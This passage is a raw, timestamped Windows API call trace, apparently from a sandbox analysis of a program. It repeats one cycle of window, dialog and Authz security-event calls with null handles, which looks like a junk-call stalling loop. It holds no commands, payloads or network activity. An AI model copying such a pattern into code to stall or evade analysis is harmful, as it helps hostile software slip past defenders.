SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.554] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.554] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.554] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.554] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.554] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.554] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.554] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.554] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.554] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.554] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.554] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.554] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.554] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.554] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.554] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.554] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.554] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.554] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.554] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.554] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.554] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.554] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.554] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.554] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.554] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.554] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.554] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.554] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.554] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.554] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.554] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.554] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.554] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.555] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.555] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.555] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.555] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.555] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.555] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.555] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.555] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.555] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.555] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.555] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.555] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.555] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.555] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.555] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.555] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.555] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.555] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.555] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.555] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.555] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.555] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.555] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.555] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.555] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.555] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.555] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.555] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.555] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.555] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.555] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.555] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.555] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.555] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.555] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.555] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.555] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.555] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.555] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.555] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.555] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.556] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.556] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.556] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.556] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.556] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.556] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.556] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.556] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.556] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.556] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.556] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.556] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.556] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.556] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.556] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.556] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.556] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.556] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.556] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.556] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.556] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.556] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.556] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.556] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.556] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.556] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.556] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.556] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.556] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.556] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.556] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.556] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.556] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.556] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.556] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.556] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.556] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.556] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.556] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.556] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.556] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.557] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.557] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.557] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.557] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.557] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.557] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.557] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.557] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.557] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.557] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.557] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.557] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.557] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.557] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.557] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.557] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.557] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.557] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.557] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.557] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.557] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.557] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.557] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.557] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.557] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.557] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.557] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.557] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.557] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.557] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.557] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.557] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.557] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.557] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.557] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.557] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.557] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.557] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.557] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.557] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.557] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.558] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.558] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.558] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.558] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.558] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.558] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.558] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.558] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.558] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.558] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.558] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.558] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.558] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.558] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.558] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.558] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.558] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.558] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.558] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.558] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.558] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.558] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.558] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.558] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.558] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.558] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.558] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.558] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.558] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.558] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.558] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.558] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.558] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.558] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.558] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.558] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.558] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.558] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.558] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.558] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.558] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.559] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.559] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.559] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.559] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.559] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.559] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.559] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.559] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.559] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.559] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.559] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.559] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.559] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.559] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.559] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.559] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.559] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.559] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.559] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.559] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.559] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.559] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.559] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.559] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.559] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.559] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.559] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.559] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.559] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.559] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.559] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.559] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.559] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.559] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.559] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.559] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.559] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.559] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.559] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.559] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.559] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.559] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.559] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.560] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.560] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.560] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.560] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.560] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.560] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.560] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.560] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.560] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.560] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.560] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.560] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.560] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.560] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.560] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.560] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.560] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.560] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.560] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.560] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.560] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.560] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.560] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.560] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.560] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.560] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.560] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.560] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.560] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.560] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.560] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.560] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.560] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.560] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.560] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.560] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.560] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.560] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.560] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.560] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.560] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.560] AuthzReportSecurityEventFromParams (in: 